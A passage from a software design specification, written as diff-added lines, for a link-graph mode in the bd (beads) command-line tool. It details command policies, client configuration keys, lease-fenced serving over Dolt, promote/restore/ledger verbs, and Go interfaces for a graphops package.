(amendment A3, ruled 2026-09-07). The mode names the +graph by the kind of edge it carries: the dependency graph is issues joined +by dependencies, the link graph is graph beads joined by typed Links. +**Every verb creates, reads, or serves the selected graph or refuses**; +`bd link a b` creates a dependency, `bd --graph-mode link link a b --type +` creates a Link; verbs with no link-graph meaning (`dep`, `ready`, +`prime`, …) refuse under the flag rather than silently running on the +dependency graph. Without the flag every verb is byte-identical to today; +the differential gate gains one row per legacy verb form (Part B7). A +workspace may default to link mode through the config key, and the key's +help says what that does to `bd link`. + +**Root store policy is keyed by mode and command path, and it is +authoritative.** The root command classifies commands by *leaf name* at +several sites — `effectiveRootStorePolicy(cmd.Name(), …)`, +`runsPostCommandMaintenance(cmd.Name(), …)`, `isReadOnlyCommand` +(`readOnlyCommands`, which `context_cmd.go` mutates at init), +`shouldAutoPruneEventsJournal`, the `cmd.Name() != "import" && != "setup"` +branches, `workspace_gate.go`, `main_errors.go`. One +`commandPolicy(mode, *cobra.Command)` keyed by the mode and `CommandPath()` +is consulted first at each site (a new seam — the only `CommandPath()`-keyed +map today is `help_supplements.go`), with an exhaustive Cobra-tree test +**paired with a source scan** that fails on any `cmd.Name()` consumer not +routed through the policy. The flag is a root persistent flag consulted +before any store opens, like `--readonly`. + +| Verb under `--graph-mode link` | Local store | Gate | Maintenance | +| --- | --- | --- | --- | +| `show `, `list`, `types [get]`, `status` | read-only when `link-graph.route: local`; **skipped entirely** when `link-graph.route: server` | shared | no | +| `serve` | serve's classification (A3); **staged** — the one normative sequence: bypass the generic pre-run store gate (the skip-store seam); acquire shared; open a temporary source, read the Scope row, close it; **release shared**; if there is no Scope row: acquire exclusive, reopen, re-check, mint, close, release exclusive; acquire shared; open the serving source; re-evaluate the identity table under it; serve | shared → release → (exclusive → release, only for a mint) → shared; never an upgrade | no | +| `client` | none (writes `config.local.yaml`) | none | no | +| `ledger snapshot` | read-only, local | shared | no | +| `promote` | writable, always local | **shared** — it relies on the lease (the workspace is the holder), so it runs beside a live `bd serve` | no | +| `types install`, `restore`, `ledger apply` | writable, always local | **exclusive** (`internal/workspacegate`, the `bd backup restore` precedent) — the server must be stopped; `commandNeedsExclusiveGate` learns them | no | +| (P3) `create`, `update`, `delete`, `link` | writable | shared | no | + +### A1. `bd init` — graph store initialization (ruling 12) + +1. Runs the graph migrations (Part B4): the replicated series, and the + dolt-ignored `graph_authority_lease` through the tree's three-part + mechanism — its name in `doltIgnorePatterns` (seeded by `MigrateUp` + before either series), a main-series migration that creates it for + existing workspaces, the ignored-series twin for fresh clones (the 0055 / + `ignored/0012` shape; hygiene check D) — and the lease joins + `ignoredSource.sentinelTables` so an at-latest but partially + materialized clone repairs it. +2. **Installs no descriptors.** There is no ledger before mint; the + built-in catalog is installed by `Mint` (A3/A4). `bd init` on any clone + keeps working and installs nothing. A provider answering + `*storage.ErrUnsupported` from the capability probe is skipped silently + at the default verbosity (debug-level only), so gate output is + byte-identical. +3. Writes **no Scope identity**, no witness, nothing to `metadata.json`. +4. Ensures `.beads/.gitignore` carries `config.local.yaml`, + `graph-authority.local.json`, `graph-authority.lock` through + `EnsureGitignoreForBeadsDir`; the template, `requiredPatterns`, and + `trackedRuntimePatterns` gain them, and the witness joins + **`sensitiveFileNames`** so a tracked copy is an **error**, not a + warning. Init paths that bypass that call (`--init-if-missing`, an + external `BEADS_DIR` that differs from the local dolt dir — the gate is + `useLocalBeads`) are not relied on: + the witness manager ensures the entries before its first write (B3). + +**Registered backends:** `bd init` refuses to provision them today; their +own path owes the same obligations. In v0 they do **not serve BDP** (A3). + +### A2. Client wiring — `bd init --bdp-server ` and `bd --graph-mode link client` (ruling 12; amendment A6, ruled 2026-09-07) + +One more `bd init` target, rerouting *above* the storage abstraction: the +link-mode read verbs become a BDP client of the designated server. + +**Two files, by what the key is.** `config.yaml` is git-tracked by default; +per-workspace keys go to **`config.local.yaml`** (merged by viper over +`config.yaml` for machine-specific settings; merged as the sibling of +the project-level `config.yaml` (never a user-level one); the `.beads`/basename requirement is +`yaml_config.go`'s `projectConfigPathFromLoadedState`, so the writer ensures +a project `config.yaml` exists and gets its own path plumbing). + +| Key | File | Values | Notes | +| --- | --- | --- | --- | +| `bdp.scope_url` | `config.yaml` (tracked; yaml-only) | absolute URL | a **project** fact (ruling 7a). Settable while this workspace holds **no witness**; once it does, `bd config set` / `set-many` / `unset` refuse it (one guard in the shared `rejectProtectedConfigKey` path, which `set` and `set-many` call today and `unset` gains an explicit call to — a DB-free file check; a hand edit of the tracked file bypasses it, and the A3 "configured ≠ persisted" row is the real guard) and the URL changes only through `bd --graph-mode link promote --rotate-url` / `bd --graph-mode link restore`, which write it in their `config_written` phase and are refused while `BDP_SCOPE_URL` overrides it | +| `bdp.authority_heartbeat` | `config.yaml` | duration (default `30s`) | hazard R *[deferred under A9]* | +| `bdp.authority_heartbeat_grace` | `config.yaml` | count (default `3`) | hazard R *[deferred under A9]* | +| `bdp.lease_ttl` | `config.yaml` | duration (default `30s`, renewed every third) | hazard S | +| `link-graph.route` | **`config.local.yaml`** | `local` (default) \| `server` | per-workspace; **not settable from env** (`blockedEnvVars`) | +| `bdp.server` | `config.local.yaml` | absolute URL | `https` required unless loopback or `bdp.insecure_http: true` | +| `bdp.insecure_http` | `config.local.yaml` | bool | the named waiver | + +**Writers.** `bd init --bdp-server ` and **`bd --graph-mode link client server +--server [--insecure-http]`** / **`bd --graph-mode link client local`** write the +per-workspace keys through one shared writer. Generic `bd config set` +accepts the `config.yaml` keys (yaml-only routing) and refuses the +per-workspace keys with "use `bd --graph-mode link client`". No token key in config +(`IsSecretKey` + the tracked-config guard; other trackers accept yaml-only +tokens — BDP chooses a file). Mechanics: `bdp.` joins the inline prefix +slice in `IsYamlOnlyKey` and `recognizedConfigPrefixes`; a `localOnlyKeys` class names the +three per-workspace keys; `validateYamlConfigValue` gains the entries. + +**Environment.** `BD_` via viper for the config keys; `BD_BDP_CLIENT` +blocked. `BDP_SCOPE_URL` is **read first, explicitly** (viper consults +`AutomaticEnv` before a `BindEnv` list — the GH#4645 `BD_ACTOR` precedent; +the `BEADS_ACTOR` shape), then `BD_BDP_SCOPE_URL`. The client token file is +**`BEADS_BDP_TOKEN_FILE`**; no `BD_BDP_TOKEN` (child-process inheritance). + +**Credential lookup** (client): `BEADS_BDP_TOKEN_FILE` > credentials file +section `[bdp ]` with `token=`. No redirects followed; +`Authorization` only to the configured origin. + +**Precedence, per command** (a table test pins it): `bd init --bdp-server` +— flag > env > existing `config.local.yaml`, writes `config.local.yaml`; +`bd --graph-mode link client` — writes `config.local.yaml`; `bd config set bdp.scope_url` +— no witness: writes `config.yaml`; witness held: refused; every link-mode +verb — env (where permitted) > `config.local.yaml` > `config.yaml`; +`bd --graph-mode link status` — prints route, target, token source (never the token), +`insecure_http`, and the identity state row. + +**In `link-graph.route: server` mode** the verbs' `openBeadGraph*()` accessors return +a BDP-client realization of the same `graphops` roles (A5); `bd --graph-mode link serve` +there refuses unless `--serve-local-store`. Issue verbs are unaffected. + +### A3. `bd --graph-mode link serve` — serving a Scope (rulings 7b, 9, 12; amendments A1, A2, A7, A9 — ruled 2026-09-07; A10 — ruled 2026-09-08) + +**v0 serves BDP only from SQL-server workspaces.** `bd serve` refuses +embedded Dolt permanently; every Dolt-server topology serves from the +unit-of-work provider — the serving leg, where every fence lives. A +**registered backend** is served from its store arm (`serveDatabaseSource` +routes it there; the backend may itself be embedded) and has no fence to +offer, so its BDP rows are **absent in v0** (`bd --graph-mode link serve` exit 2, typed); +the seam it would declare later is the deferred ADR's to define (an +out-of-tree module cannot import `internal/storage/graphcap`). Embedded +workspaces under A9 as amended by A10 are solo authorities when they have +no remote and no server, with local graph reads and verbs. Embedded client +hosts retain the local graph `ErrNotAuthority` refusal contract. Neither +embedded topology serves BDP over HTTP in v0. + +`bd --graph-mode link serve` is a **thin command over the existing `internal/httpapi` +server**; two policies differ from `bd serve`: it **requires a Scope this +workspace holds** (exit 2 otherwise) and **it is the only serving command that +mints**, through a **staged startup** — the gate rules forbid a +shared→exclusive upgrade, so the sequence in Part A's table is the only +one: shared gate → temporary source reads the Scope row → close → +**release** → (no Scope row: exclusive gate → reopen and re-check → mint +(A4) → close → release) → shared gate → serving source → serve. `bd serve` mounts the rows only when +it holds an already-minted Scope, **converts every graph failure into "rows +absent + notice"**, and is byte-identical with no URL. Both inherit +`errServeReadonly` wholesale. + +```text +bd --graph-mode link serve [--addr IP:PORT] [--allow-non-loopback] [--auth-token-file PATH] + [--insecure-no-auth] [--allowed-host NAME]... (serve's own flags/variables) + [--scope-url URL] first serve: mints under it and writes config.yaml + (config_written phase); later: must equal the + persisted Scope URL or refuse + [--serve-local-store] permit serving in a client: server workspace +``` + +No `--dev-local-test`. Behavior, in order: + +1. **Classification:** `serveDatabaseSource`, verbatim; registered backend → + rows absent (v0); embedded → refused; otherwise the UOW provider, which + gains a `beadsDir` field (`cmd/bd/uow_factory.go`'s + `newSQLServerUOWProvider` receives it today and forwards it to the + journal and root resolution, but the provider struct itself keeps none; + `timedProvider` gains a getter). +2. **Roles from the same source** (provider arm: the provider beneath + `uow.UnwrapProvider`; `checkDatabaseSource`'s exactly-one-source rule + extends to them). +3. **Capability probe, all-or-nothing:** `bd --graph-mode link serve` exit 2 on + `ErrUnsupported`, abort on any other error; `bd serve` → rows absent + + notice in both cases. +4. **Identity** — split by command; `bd serve` **never refuses and never + mints**: + + | Persisted Scope | Configured URL | Witness | `bd --graph-mode link serve` | `bd serve` | + | --- | --- | --- | --- | --- | + | none | none | — | exit 2 | no BDP rows, silent | + | none | set | — | **staged mint** (A4) then serve honestly empty | no BDP rows; notice "unminted; run `bd --graph-mode link serve`" | + | present | none / **different** | any | exit 2 / refuse | no BDP rows; notice | + | present, matches | matches | **absent** (clone; pull into a fresh dir; copy elsewhere — installation key mismatch) | refuse `ErrNotAuthority`; guidance: `bd --graph-mode link promote --steal` if this is the same database (a moved or re-keyed workspace — the lease names the old key), otherwise `bd --graph-mode link promote --rotate-url` | no BDP rows; notice | + | present, matches | matches | **pending transition** | recovery first (B3, by evidence), then re-evaluate | no BDP rows; notice (plain `bd serve` never runs recovery — it never mints, fetches, or publishes; CLI reads answer `ErrNotAuthority` with the same notice) | + | present, matches | matches | `(authority_id, epoch)` stale, or the lease held by **another** holder | refuse; guidance `bd --graph-mode link promote --steal` (an operator assertion of "same database"; a foreign holder's expiry alone never grants a takeover) or `--rotate-url` | no BDP rows; notice | + | present, matches | matches | consistent but the lease **expired while still naming this workspace** (the server was down longer than the TTL) | **self-regrant** on the next lease write (same fence-cell predicate; no epoch change); serve | serve BDP rows | + | present, matches | matches | ledger head not in the store (restore or different history) | refuse `ErrStateRewound`; guidance `bd --graph-mode link restore` | no BDP rows; notice | + | present, matches | matches | `unverified` set | refuse until `bd --graph-mode link restore` | no BDP rows; notice | + | present, matches | matches | consistent | take/renew the lease; serve | serve BDP rows | + +5. **Host policy:** the Scope URL's host joins the allowlist; plaintext + behind TLS termination. +6. **Fencing while serving — the watcher state machine** (`FenceSource`): + `held → renewing → lost`. Hazard S: the lease is renewed every third of + `bdp.lease_ttl` through `RunTxEphemeral` — the renewal rewrites `fence` + **and extends `expires_at = NOW(6) + ttl`** — and asserted inside every + transaction with the full predicate (B3); the watcher **rebuilds its claim + from the witness on every renewal** (an in-workspace `promote --rotate-url` + moves the epoch; a consistent witness makes that a re-arm, not a loss) with + jittered cadence, serialized in-process against the process's own + mutations; every fenced transaction in the shared-gate context carries a + deadline below a third of the TTL and is cancelled and retried past it; a + failed renewal past `expires_at` is `lost`, and so is a protected read + whose remaining lease interval is shorter than its deadline — the serving + leg never regrants on the read path. Hazard R *[deferred under A9]*: the tracking ref + `remotes//` is fetched every `bdp.authority_heartbeat` and + its **ledger head** is read (`SELECT seq, hash FROM graph_ledger_events AS + OF '' ORDER BY seq DESC LIMIT 1`); a head not contained in the + **workspace's witness (reloaded on every check)**, or + `bdp.authority_heartbeat_grace` missed fetches, is `lost` — the tuple + alone cannot distinguish a same-witness twin, and a process-local + expectation would mistake the workspace's own CLI publication for a loss. + On `lost`: the BDP rows are **disabled atomically** (the legacy surface + and its capability list untouched), `bd --graph-mode link serve` exits 3 after + draining, `bd serve` logs and continues; the watcher **joins before the + provider shuts down**. Both hazards → both watchers. +7. **Mounting:** `serveListen(opts, httpapi.Config{…, Graph: …})`. +8. **Lifecycle:** excluded from the post-command maintenance net by + `commandPolicy`, not by the leaf name. + +### A4. `bd --graph-mode link promote` / `restore` / `ledger` / `types install` (rulings 9, 11; amendments A5, A7, A9 — ruled 2026-09-07) + +The only reachers of `BeadGraphAdmin()` and `BeadGraphTypeInstaller()`. +`promote` and `rotate` run under the **shared** gate and rely on the lease +(the workspace is the holder, so they run beside a live server); +`types install`, `restore`, and `ledger apply` run under the **exclusive** +gate with the server stopped. Every replicated graph mutation +(mint, promote, rotate, install, ledger apply, the P1 seeds, P3 writes) +runs through **one primitive on the provider, `PublishGraphMutation`**, and +transitions (mint, promote, rotate, apply) are **multi-phase** (B3). + +**The primitive, per hazard.** *Hazard S:* the fenced transaction (lease +`UPDATE` rewriting the fence cell and extending `expires_at` with one +affected row — self-regranting an expired lease that still names this +workspace — the counter with its allocation nonce, rows, events, each +transition event carrying the transition's **operation id**), scoped commit +(`DOLT_ADD` graph tables + `DOLT_COMMIT -m` via the new `RunTxScopedResult`; +`doltServerTx.Commit` hardcodes `-Am` today), done. *Hazard R [deferred +under A9]:* record local HEAD; `DOLT_FETCH`; require the remote-tracking +HEAD to be an **ancestor** of local HEAD (`DOLT_MERGE_BASE`; unpushed +issue-plane commits do not block); record the remote's graph roots and +ledger head; the fenced transaction; scoped commit (phase +`local_committed`, op commit recorded); `DOLT_PUSH`, classified by a +**typed lift of the whole of `isPushRaceErr`** (`cmd/bd/sync.go`: its +`pushRacePattern` matches all three race routes — the SQL "behind its +remote counterpart", the CLI `! [rejected] … (non-fast-forward)`, and the +`git+*` `(stale info)`/`(fetch first)` forms — **and** its diverged-history +and ancestor-PK-mismatch exclusions, which must travel with it): **race** → +refetch and compare **both** the remote-tracking ref's **ledger head** +(`SELECT seq, hash FROM graph_ledger_events AS OF '' ORDER BY seq DESC +LIMIT 1` — `MAX(seq), hash` errors under Dolt's default +`ONLY_FULL_GROUP_BY`, probed) **and the eight graph tables' diff** between +the recorded remote pre-head and the new remote head (`DOLT_DIFF_STAT` +restricted to those tables) against what was recorded before the +transaction — any graph delta or ledger movement → **fail closed and +undo** (never the `(authority_id, epoch)` tuple alone: a VM-image twin or a +same-authority fork shares it); neither changed (issue-plane divergence +only) → keep the commit, `ErrSyncRequired`, retryable after `bd dolt pull`; **any other failure** → +keep the commit, phase stays `local_committed` with `unpublished` set, +retry on the next attempt. **Undo:** if HEAD is still the op commit, +`DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` +(unstage — a bare checkout after a soft reset restores from the *staged* +root and reverts nothing, probed) and `DOLT_CHECKOUT('
')` (or +`DOLT_CHECKOUT('HEAD', '--', '
')`), leaving unrelated dirty tables +untouched; if HEAD has moved, `DOLT_REVERT ` (later commits from +other actors are preserved). The versioned undo does not touch the +dolt-ignored lease, so **on either path, and only if the lease still +names this workspace at the operation's epoch**, a compensating +`RunTxEphemeral` write restores the pre-operation lease row — predicated +on the current fence and writing a fresh one (a `DOLT_REVERT` restores the +Scope epoch while the ignored lease keeps the operation's, which would lock +the workspace out of its own lease — probed); when another holder now +legitimately holds the lease, it is left alone. The undo is phased (`undo_started → +versioned_undone → lease_restored`), resumes from its recorded phase on the +next load whether or not the operation still appears in the ledger, and +pauses in-process renewal and graph mutation while it runs. Then `Abandon`. +`doltVersionControlSQLRepository` gains `MergeBase`, `ResetSoft`, +`UnstageTables`, `CheckoutTables`, `Revert`, `HashOfTables`; the remote +pre-head hash is read with `SELECT commit_hash FROM dolt_log AS OF +'' LIMIT 1` (`DOLT_HASHOF` rejects the `remotes/` spelling). Dolt's +staging area is shared, so a scoped `DOLT_COMMIT -m` still sweeps whatever +another session staged in the same tables — a stated limitation, in the +`bd sql` class. A missing remote-tracking ref is +vacuously an ancestor (the push creates it; an empty remote ledger reads as +no head); the ref is `remotes//`, built by one provider API +from the configured sync remote and the active branch — the tree's +`verifyPullLanded` spelling, and the one `DOLT_MERGE_BASE` already receives. Table-scoped staging still sweeps rows +other sessions left uncommitted in the *same* graph tables — consistent +with `bd sql` being out of contract, and stated. *Both hazards → both.* +**A lease row is not proof of "minted here"** — `dolt clone` omits the +dolt-ignored table, but `DOLT_BACKUP` restore and a directory copy carry +the working set with it, and Dolt's `@@server_uuid` is per machine +(`~/.dolt/config_global.json`, identical for a same-machine copy — probed), +so nothing in-band distinguishes a copied database served by a second +`sql-server`. In-place promotion therefore has exactly two paths: +**self-regrant** when the lease row (bound to `scope_url` and +`authority_id`) names this workspace, and **`--steal`**, an operator +assertion of "same database" in the class of force-push and `bd sql`; a +foreign holder's expiry alone never grants a takeover. **`Promote +--rotate-url` is the bootstrap** that creates a new lease row under a new +URL and refuses the old one forever — the path for a clone, a copy, and a +restore that cannot show continuity. On the shared-database leg under A9 this is the whole arbiter; +without A9 hazard R adds the remote fence. Stated residual: a `--steal` on +a copied database creates a second authority. + +- **`Mint`** (serving path: `bd --graph-mode link serve`'s staged startup; + A10 local solo trigger and gate mapping are P1 mechanisms, architecture §2b): precondition *no Scope + row*; INSERT the singleton row, seed `graph_ledger_seq`, `mint` event, + install the built-in catalog with `install` events; hazard S: take the + lease; publish; `config_written` when `--scope-url` supplied the URL; + finalize. +- **`bd --graph-mode link promote`**: precondition a consistent Scope row; three cases, + no fourth. (1) The lease names this workspace → self-regrant regardless + of expiry (no epoch change; the verb reports "already the authority"). + (2) It names another holder → only `--steal` (operator-confirmed) takes + it: CAS the epoch (a lost race is a serialization loser → typed refusal) + with a `promote` event carrying the `op_id`; publish; finalize. (3) No + lease row → **refuse** unless `--rotate-url`, which creates the lease row + under the new URL with `refuse_url(old)` + `rotate(new)`; publish; + finalize. `--rotate-url` beside a live server makes the server exit 3 + (its served URL and host allowlist are fixed at startup). `--rotate-url ` rotates in the same + transition (refused while `BDP_SCOPE_URL` is exported). +- **`bd --graph-mode link restore`**: runs after a database restore (`bd backup restore` + — also reached by `bd bootstrap`'s restore action — calls + `Admin.MarkUnverified` after `RestoreDatabase`, before its commit; a + no-op without a witness). Exempt from the head check; precondition + lineage match under the exclusive gate; branches on `LedgerDurability`: + `in-state` (Dolt, v0) → requires a ledger snapshot reaching the witness's + `{seq, hash}` (`--ledger `, applied through `LedgerApply`) to show + continuity, otherwise **rotates** (`refuse_url` + `rotate`, `config.yaml`, + regrant); `independent` → re-validates (ancestry) and regrants; `none` → + always rotates. Never silent. +- **`bd --graph-mode link ledger snapshot|apply`**: the hash-chained events as JSONL + under a manifest `{scope_url, authority lineage, first_seq, last_seq, + prev_hash of first, head_hash}`. `LedgerApply`'s recovery predicate: + exclusive gate; lineage matches; the store's head equals the manifest's + predecessor; every `hash` verifies. It restores **anti-reuse history, + not graph content**: an applied `allocate` whose row is absent becomes a + **`reserved`** allocation (never reusable; reads answer the gone family), + the Scope lineage is replayed, `graph_scope_history` re-derived, and the + counter set to `last_seq + 1`; then regrant. Full recovery is a database + restore *plus* the lane. +- **`bd --graph-mode link types install `**: post-mint catalog change (P1; W3 + emits the file): a fenced, published mutation with `install` events. + +### A5. Graph verbs (v0 reads; P3 writes) + +```text +bd --graph-mode link show # a Bead or a Link, by path +bd --graph-mode link list [--kind bead|link] [--type URL] [--source PATH] [--target REF] [--after CURSOR] [--limit N] +bd --graph-mode link types [get ] | types install +bd --graph-mode link status +bd --graph-mode link client local | server --server URL [--insecure-http] +bd --graph-mode link serve | promote [--rotate-url URL] [--steal] | restore [--ledger FILE] | ledger snapshot|apply +(P3) bd --graph-mode link create|update|delete … ; bd --graph-mode link link --type URL +``` + +Each verb reaches its role through an accessor (the `cmd/bd/label.go` +pattern plus the client route), with a route-fork test in the shape of the +`*_proxied_integration_test.go` / `*_embedded_test.go` pairs. CLI reads on +the authority workspace read its own state; on any other workspace they +refuse (`ErrNotAuthority`) — there is no replica read in v0. Under A9 as +amended by A10, an embedded workspace with no remote and no server is a solo +authority with local reads and verbs; embedded client hosts and registered- +backend client hosts retain the refusal contract. Solo authority serves no HTTP. +`internal/bdpclient` maps Problems back to the typed errors (round-trip +test). No collection routes before the cursor ADR (`ErrNotServedYet` on +the client route; `list` works on the local route from P1). + +## Part B — Storage interfaces + +### B1. Accessors on `storage.Storage` (amendments A4, A8 — option A wording) + +Named **`BeadGraph*`** (`GraphCounter()` counts the *issue* graph). Six +accessors — `BeadGraphReader`, `BeadGraphTypes`, `BeadGraphTypeInstaller`, +`BeadGraphIdentityReader`, `BeadGraphBootstrapper`, `BeadGraphAdmin` — +with the doc comments of v5 (manager-backed roles; every call reloads the +witness; no request carries authority; the admin role is never held by a +server). Added to **`storage.Storage`**. A required method is **promoted +through every wrapper that embeds the `DoltStorage` interface** — the +wrappers compile unchanged — so every decorator and provider wrapper +**declares** each accessor explicitly and the three censuses (B5) catch the +ones that do not; **direct implementers** (a custom store, mock, proxy) fail +to compile until they add the six stubs — the source break `storage.go` +declares, called out in CHANGELOG as the joint `ReadyClaimer`/`BatchCloser` +entry was. Under option B, an optional `BeadGraphCapable` interface on the +concrete store is **not** promoted through an interface-embedding wrapper, +so every wrapper implements it explicitly and every consumer resolves it. + +### B2. The `graphops` leaf (public, repo root; amendment A4) + +```go +package graphops // imports: stdlib, beadserrors — nothing else + +// ---- requests and results: NO authority fields anywhere (the witness is the store's) +type Cursor string // OPAQUE: store-produced; binds Scope URL, epoch, selection hash, last path; + // P2 adds snapshot identity inside it — no public interface change +type BeadRequest struct{ Path string } +type LinkRequest struct{ Path string } +type BeadSelectRequest struct{ TypeURL string; After Cursor; Limit int } +type LinkSelectRequest struct{ TypeURL string; Source *Ref; Target *Ref; After Cursor; Limit int } // endpoints symmetric (P0 council 2026-09-07) +type IncidentRequest struct{ Path string; Direction Direction /* In | Out | Both */; After Cursor; Limit int } +type DescriptorRequest struct{ URL string } +type InstallRequest struct{ Descriptors []TypeDescriptor } + +type OwnedLinkGroup struct{ TypeURL string; Links []Link } // the pinned schema keys ownedLinks by Link Type URL +type BeadRecord struct{ Bead Bead; OwnedLinks []OwnedLinkGroup } // groups in code-unit order of TypeURL; Links in code-unit + // order of path; an owned Type with no Links is an EMPTY group +type BeadPage struct{ Items []BeadRecord; Next Cursor } +type LinkPage struct{ Items []Link; Next Cursor } + +type Reader interface { + Bead(ctx, BeadRequest) (BeadRecord, error) + Link(ctx, LinkRequest) (Link, error) + Beads(ctx, BeadSelectRequest) (BeadPage, error) // WHERE path > last ORDER BY path LIMIT n, binary-collated column + Links(ctx, LinkSelectRequest) (LinkPage, error) + IncidentLinks(ctx, IncidentRequest) (LinkPage, error) // one UNION over (source, target) indexes, ordered, limited +} +type DescriptorReader interface { + Descriptors(ctx) ([]TypeDescriptor, error) // ordered by URL; bounded by MaxCatalog + Descriptor(ctx, DescriptorRequest) (TypeDescriptor, error) +} +type TypeInstaller interface { + Install(ctx, InstallRequest) (InstallResult, error) // post-mint; fenced; published on hazard R; idempotent by fingerprint +} +type IdentityReader interface { + Read(ctx) (ScopeIdentity, error) // Scope row + witness claim (Held, Epoch, LedgerSeq, Unverified, Pending) + LedgerDurability(ctx) (LedgerDurability, error) // in-state | independent | none (ruling 11) +} +type ScopeBootstrapper interface { + Mint(ctx, MintRequest) (ScopeIdentity, error) // multi-phase; fenced per hazard; catalog installed inside +} +type Admin interface { + Promote(ctx, PromoteRequest) (ScopeIdentity, error) // multi-phase; fenced per hazard; RotateURL optional + Rotate(ctx, RotateRequest) (ScopeIdentity, error) // refuse_url(old) + rotate(new), one transaction; config.yaml in config_written + LedgerSnapshot(ctx, LedgerRange) (LedgerManifest, []LedgerEvent, error) + LedgerApply(ctx, LedgerManifest, []LedgerEvent) (LedgerApplyResult, error) // recovery predicate; anti-reuse history; regrants + MarkUnverified(ctx) error // no-op without a witness + ClearUnverified(ctx) error +} + +type AllocationState = string // live | reserved | pruned | erased ("reserved": ledger-applied, row absent) + +// NOT here: transaction-bound provider capabilities live in internal/storage/graphcap — +// StateVersioner { GraphStateVersion(ctx, tx DBTX) (StateVersion, error) } // DOLT_HASHOF_TABLE('') × 8, sha256 +// GraphPublication (a registered backend's own hazard-R fence; deferred) +// LeaseClaim{InstallationKey, Epoch} +// — the public leaf carries no runner type, so the capability that takes one cannot be public. +``` + +**Values** (`Bead`, `Link`, `Ref`, `Properties`, `Revision`, `Attribution`, +`TypeDescriptor`, `OwnedLinkDecl`, `ScopeIdentity`, `LedgerEvent`, +`LedgerManifest`) have unexported fields and constructors that enforce the +laws in `laws.go`. `Properties` is the immutable raw-JSON object value from +the plan; its canonical bytes are what B4 stores. `Ref` is a sum: in-Scope +(`Path`) or external (`URL`). `Revision` is 128 bits from `crypto/rand`, +lower-hex. A `LedgerEvent` carries `{seq, kind, op_id, path|scope_url, +revision?, fingerprint?, authority_id, epoch, at, prev_hash, hash}` with +`hash = sha256(canonical(event without hash))`. + +**Bounds:** `MaxExpandedRows` with `LIMIT (MaxExpandedRows − materialized) + 1`; +`Max` required on owning Types. **Statement budgets, per role method** +(pinned by the contract; a validation run has its own budget outside the +read's transaction; the lease `UPDATE` of a mutation counts as one; a CLI +read's one-time ephemeral regrant on its own expired lease is a separate +transaction outside the budget): + +| Method | Statements | Composition | +| --- | --- | --- | +| `Bead` / `Beads` page | ≤ 7 (6 on a descriptor-cache hit) | Scope row; ledger head; lease; state version; row/page; descriptors; batched owned links | +| `Link`, `IncidentLinks`, `Links` page | ≤ 5 | Scope row; ledger head; lease; state version; the query (one `UNION` for incident) | +| `Descriptors`, `Descriptor` | ≤ 5 | Scope row; ledger head; lease; state version; catalog | +| `IdentityReader.Read` | 3 | Scope row; ledger head; lease | + +**The row-level fence (ruling 13).** Every mutating body issues `SET +@bd_graph_role = 1` as its first statement inside the transaction and +`SET @bd_graph_role = NULL` as its last statement before `COMMIT` or +`ROLLBACK`, on every exit path (deferred); reads never set it. The clear +is load-bearing: probed over the MySQL protocol with a one-connection +pool, a transaction that commits without clearing leaves the next plain +statement on that connection unfenced, and one that clears does not. Verification row (ii) corrected the cancellation claim (2026-09-07): a +transaction cancelled *between* statements is rolled back and its +connection **pooled with the variable still set** on both server legs +(the UOW leg's `closeAttempt` rolls back on `context.WithoutCancel` and +releases the connection; the `*sql.Tx` shape keeps it because the driver +implements `SessionResetter` and `Validator`); only a mid-statement +cancellation closes the socket. The rule: the deferred clear runs on +`context.WithoutCancel(ctx)` with its own short timeout — proved to fence +the pooled session — and a clear that cannot be confirmed poisons the +connection (closed, never pooled); the CLI leg's wrapper begins its +transaction on `context.WithoutCancel` or pins `db.Conn`. The embedded leg +has no pool hazard: its driver's `ResetSession` returns `ErrBadConn`, so +every checkout is a fresh session. Mutating budgets carry two +statements more than their SQL alone. A body that omits the variable +cannot write — the triggers refuse its own statements — so the +conformance suite catches the omission by construction. + +**Errors:** `ErrNoScope`, `ErrScopeExists`, `ErrNotAuthority`, +`ErrStateRewound`, `ErrStateChanged`, `ErrSyncRequired`, `ErrUnpublished`, +`ErrURLReused`, `ErrRepresentationTooLarge`, `ErrNotServedYet`, +`GoneError{Path, State}`. Home (P0, recorded 2026-09-07): the plane-neutral +sentinels are declared in `beadserrors` and aliased here; `ErrNoScope`, +`ErrScopeExists`, `ErrURLReused`, and `GoneError` are `graphops`'s own, +because `beadserrors`' charter keeps domain-naming refusals in the leaf. +`GoneError` matches `ErrNotFound` under `errors.Is` (the spec's same-404 +default); a handler opts into the 410 by `errors.As`. + +**P0 implementation notes (recorded 2026-09-07 after council 11's fold; the +code on `janet-beadgraph-p0` is the reference).** Scope-URL laws split in two: +`ValidateScopeURL` is the client-side law (a client may reference a bdptest +dev server's `…/local-test/` Scope) and `ValidatePersistedScopeURL` the +persisted-identity law used by `Mint`, `Rotate`, ledger events carrying +`scope_url`, and manifests (`local-test` refused there). `NormalizeScopeURL` +normalizes the **whole origin** under one WHATWG model — scheme and host case, +percent-encoded host characters, the ends-in-a-number rule (all-digit or `0x` +last label ⇒ IPv4, rendered dotted-decimal), IPv6 compression (`[::ffff:102:304]`), +ports with leading zeros and default ports — and the same model classifies a +reference as in-Scope or external; a noncanonical in-Scope spelling is refused, +an external reference is preserved byte-for-byte; a trailing-dot registered name +is canonical and a distinct host; no IDNA (configure IDN hosts as A-labels). +`LinkSelectRequest` takes `Source *Ref` and `Target *Ref` (endpoints symmetric; +the one-in-Scope-endpoint law). Ledger: `MaxLedgerSeq = MaxUint64-1`, seq ∈ +[1, MaxLedgerSeq]; the counter is exhausted at `MaxUint64` and the chain +refuses wraparound. Descriptor canonical form: `description:""` ≡ absent, +`propertiesSchema:""` refused, a zero endpoint constraint is the empty set, +`conformsTo` sorted by code unit. Every string entering a JSON-backed value must +be valid UTF-8. **Ruled on bdp#1 (2026-09-08):** `ownsOutgoing` admits the +wildcard entry `"*": { max }` — every outgoing Link Type not listed explicitly +is owned, `max` bounds the whole owned set, explicit entries take precedence +for the types they name; `OwnedLinkDecl` gains that variant and `Owns` resolves +explicit-then-wildcard; the record's owned groups exist for types actually +present plus empty groups only for explicitly declared types; no group is +ever keyed `"*"`, and `Owns("*")` is false (it is a key, not a Type). Landed +on the P0 branch (1cbb5e6e3): `OwnedLinkDecl` is a sum — +`NewWildcardOwnedLinkDecl(max)`, `Wildcard()`, `WildcardOwnedLinkKey` — and +`ValidateTypeURL("*")` is refused by name everywhere a Type URL is expected. +**Historical wire description, superseded by the §0 `19923f5b` adoption:** +the original pinned bundle's `propertyNames: +absoluteHttpUrl` on `ownsOutgoing` and `ownedLinks` 